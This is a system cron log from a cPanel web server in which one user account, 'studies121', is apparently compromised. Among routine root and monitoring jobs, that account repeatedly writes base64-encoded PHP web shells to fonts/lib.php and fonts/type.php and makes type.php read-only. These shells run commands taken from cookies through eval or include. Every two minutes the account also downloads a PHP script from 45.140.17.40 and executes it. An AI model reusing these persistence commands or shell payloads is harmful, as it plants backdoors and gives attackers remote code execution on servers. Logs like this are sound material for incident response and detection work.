Sep  5 20:03:01 ip-184-168-122-23 CROND[18416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:04:01 ip-184-168-122-23 CROND[18576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:04:01 ip-184-168-122-23 CROND[18578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:04:01 ip-184-168-122-23 CROND[18580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:04:02 ip-184-168-122-23 CROND[18581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:04:02 ip-184-168-122-23 CROND[18579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:05:01 ip-184-168-122-23 CROND[18672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:05:01 ip-184-168-122-23 CROND[18673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:05:01 ip-184-168-122-23 CROND[18674]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:05:01 ip-184-168-122-23 CROND[18676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:05:01 ip-184-168-122-23 CROND[18677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:05:01 ip-184-168-122-23 CROND[18679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:05:01 ip-184-168-122-23 CROND[18678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:06:01 ip-184-168-122-23 CROND[18791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:06:01 ip-184-168-122-23 CROND[18792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:06:01 ip-184-168-122-23 CROND[18793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:06:01 ip-184-168-122-23 CROND[18796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:06:01 ip-184-168-122-23 CROND[18794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:07:01 ip-184-168-122-23 CROND[18884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:07:01 ip-184-168-122-23 CROND[18886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:07:01 ip-184-168-122-23 CROND[18885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:07:01 ip-184-168-122-23 CROND[18887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:08:01 ip-184-168-122-23 CROND[18970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:08:01 ip-184-168-122-23 CROND[18972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:08:01 ip-184-168-122-23 CROND[18973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:08:01 ip-184-168-122-23 CROND[18974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:08:01 ip-184-168-122-23 CROND[18975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:09:01 ip-184-168-122-23 CROND[19082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:09:01 ip-184-168-122-23 CROND[19084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:09:01 ip-184-168-122-23 CROND[19083]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 20:09:01 ip-184-168-122-23 CROND[19085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:09:01 ip-184-168-122-23 CROND[19086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:10:01 ip-184-168-122-23 CROND[19272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:10:01 ip-184-168-122-23 CROND[19274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:11:01 ip-184-168-122-23 CROND[19369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:11:01 ip-184-168-122-23 CROND[19372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:11:01 ip-184-168-122-23 CROND[19371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:11:01 ip-184-168-122-23 CROND[19373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:12:01 ip-184-168-122-23 CROND[19449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:12:01 ip-184-168-122-23 CROND[19447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:12:01 ip-184-168-122-23 CROND[19448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:12:01 ip-184-168-122-23 CROND[19450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:12:01 ip-184-168-122-23 CROND[19451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:13:01 ip-184-168-122-23 CROND[19542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:13:01 ip-184-168-122-23 CROND[19544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:13:01 ip-184-168-122-23 CROND[19543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:13:01 ip-184-168-122-23 CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:14:01 ip-184-168-122-23 CROND[19630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:14:01 ip-184-168-122-23 CROND[19632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:14:01 ip-184-168-122-23 CROND[19634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:14:01 ip-184-168-122-23 CROND[19635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:14:01 ip-184-168-122-23 CROND[19636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:15:01 ip-184-168-122-23 CROND[19728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:15:01 ip-184-168-122-23 CROND[19729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:15:01 ip-184-168-122-23 CROND[19732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:15:01 ip-184-168-122-23 CROND[19730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:15:01 ip-184-168-122-23 CROND[19731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
